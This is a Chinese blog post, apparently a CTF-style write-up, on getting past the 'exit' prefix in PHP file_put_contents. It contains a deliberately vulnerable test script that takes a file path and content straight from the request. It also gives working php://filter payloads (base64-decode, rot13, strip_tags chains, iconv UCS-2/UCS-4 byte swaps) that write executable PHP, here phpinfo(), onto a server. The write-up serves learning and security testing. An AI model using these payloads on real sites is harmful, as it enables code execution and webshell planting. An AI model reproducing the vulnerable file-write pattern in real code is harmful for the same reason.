测试代码如下:
<?php
error_reporting(0);
$file = $_GET['file'];
$content = $_POST['content'];
file_put_contents($file,"<?php exit();".$content);
?>
主要思路:利用php伪协议的写过滤器,对即将要写的内容(content)进行处理后,会将<?php exit();处理成php无法解析的内容,而我们的content则会被处理成正常的payload。
(1)利用base64的编码解码绕过(Conversion Filters)
?file=php://filter/write=convert.base64-decode/resource=m.php
content=aPD9waHAgcGhwaW5mbygpOw==
对我们的content解释一下,PD9waHAgcGhwaW5mbygpOw== <----> <?php phpinfo();这部分很好理解,至于前面加了一个字符a,是因为base64解码时4个字符转3个字符,而<?php exit();只有phpexit参与了base64的解码,所以需要补一位。
(补充:Base64,顾名思义,就是包括小写字母a-z、大写字母A-Z、数字0-9、符号"+"、"/"一共64个字符的字符集,最后看情况补"="使得总体字节数为4的倍数。)
(2)利用rot13编码来绕过(String Filters)
?file=php://filter/write=string.rot13/resource=m.php
content=<?cuc cucvasb();?>
(3)组合(String Filters+Conversion Filters)
?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=m.php
content=?>PD9waHAgcGhwaW5mbygpOw==
(4)(Conversion Filters:convert.iconv.*:)
利用:
php://filter/convert.iconv.UCS-2BE.UCS-2LE/resource=m.php
or
php://filter/convert.iconv.UCS-4BE.UCS-4LE/resource=m.php
解释:
通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的content字节数需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了。我们利用如下方法构造我们需要的payload。(注意倍数问题,否则输出错误。)
echo iconv('UCS-2LE','UCS-2BE','<?php phpinfo();?>'); //?<hp phpipfn(o;)>?
echo iconv('UCS-4LE','UCS-4BE','<?php phpinfo();'); //hp?<hp pfnip;)(o
然后构造我们的content内容使得<?php exit();在经过该过滤器后被乱码无法正常解析从而绕过死亡退出同时保证我们的payload在经过过滤器以后被正常解析。
content=a?<hp phpipfn(o;)>?
or
content=aaahp?<hp pfnip;)(o
参考文章:https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/
标签:iconv,UCS,convert,content,exit,file,put,resource,php From: https://www.cnblogs.com/meng-han/p/16849600.html